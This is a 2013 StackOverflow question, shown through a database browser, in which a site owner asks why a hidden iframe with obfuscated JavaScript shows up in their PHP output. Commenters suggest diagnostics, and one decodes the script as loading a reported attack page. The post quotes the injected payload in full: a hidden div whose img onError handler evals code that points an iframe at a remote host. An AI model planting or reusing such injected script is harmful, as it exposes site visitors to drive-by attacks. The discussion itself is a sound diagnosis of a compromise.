Databases
StackOverflow2013
Postsdbo
POHelp with odd PHP javascript/hidden iframe hack
 

Note that there are some explanatory texts on larger screens.

plurals
  1. POHelp with odd PHP javascript/hidden iframe hack
    primarykey
    data
    text
    <p>Some pages on my site are including an unintended hidden iframe with some javascript in their output. I have read about sites getting hacked and similar code being added to php and html files before, but that is not quite the problem here, as none of my files actually contain the content that ends up in the output. I have no idea how this is happening. <strong>Is there some global php code that executes with each page load, or could it be at apache level?</strong> I'm at a loss.</p> <p>Here is an example of what I'm seeing in the output:</p> <pre><code>&lt;div style="display: block;overflow:hidden;width:0;height:0;left:0px;position:absolute;top:0px"&gt;&lt;img id="7867" height="1" width="1"&gt;&lt;img src="about:blank" onError='bvnnho=unescape("%27");fyvdmn=eval("document.getElementById("+bvnnho+"npelmp"+bvnnho+").src=unescape("+bvnnho+"%68%74%74%70%3A%2F%2F"+bvnnho+")+document.getElementById("+bvnnho+"7867"+bvnnho+").id+unescape("+bvnnho+"%2E%69%6E%2F"+bvnnho+")+"+bvnnho+"1299250012"+bvnnho+"+unescape("+bvnnho+"%2E%70%68%70"+bvnnho+")");document.getElementById("npelmp").src=fyvdmn' style="width:300;height:300;border:0px;"&gt;&lt;iframe id="npelmp" src="about:blank"&gt;&lt;/iframe&gt;&lt;/div&gt; </code></pre> <p>I have gone over my script very carefully and do not see how it could be outputting this. The reason I noticed it is that my script is used for writing a csv file, and an iframe--even hidden--sticks out like a sore-thumb in a csv file. My web host says they haven't gotten any complaints from other users, so it must be my problem.</p> <p>I have checked all my code (by hand and compared to my local copy), and I went through my database (which only contains integers anyway). I have found no sign of where this is coming from.</p> <p>Oh, the other bit that makes this so hard to track down is that it is not present every time. So when I try to show the host support, it wasn't there.</p> <p>Has anyone seen this before. Or any idea of where else I can look?</p> <p>Thanks...</p>
    singulars
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. PTQuestion
    1. USglancep
    1. USglancep
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. PO
      singulars
      1. PTAnswer
    2. PO
      singulars
      1. PTAnswer
    3. PO
      singulars
      1. PTAnswer
    1. VO
      singulars
      1. POHelp with odd PHP javascript/hidden iframe hack
      1. This table or related slice is empty.
      1. VTUpMod
    2. VO
      singulars
      1. POHelp with odd PHP javascript/hidden iframe hack
      1. This table or related slice is empty.
      1. VTUpMod
    1. COTurn off JS in your browser and refresh the page, if it's still appearing it's not coming from javascript. So must be in the PHP, and vice versa, then you'll need to look at tracing through whichever bit of code is causing it to appear.
      singulars
      1. POHelp with odd PHP javascript/hidden iframe hack
      1. USDavid Gillen
    2. COYou probably *did* get hacked. The script is a bit crude, but when evaluated it loads an iframe that points to `http://7867.in/1299250012.php`. Firefox tells me it's an reported attack page.
      singulars
      1. POHelp with odd PHP javascript/hidden iframe hack
      1. USNullUserException
    3. CO@david-gillen Yes, I realize it is not purely generated from javascript--I just meant to say that the oddity included javascript. I am viewing the raw output coming from the server as plaintext and I'm seeing exactly what I pasted above--I just cannot find it anywhere in my php (or elsewhere) so that I can clean it out! That is why I'm wondering if somehow it is getting inserted on the way out by apache.
      singulars
      1. POHelp with odd PHP javascript/hidden iframe hack
      1. USglancep
 

Querying!

 
Guidance
A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload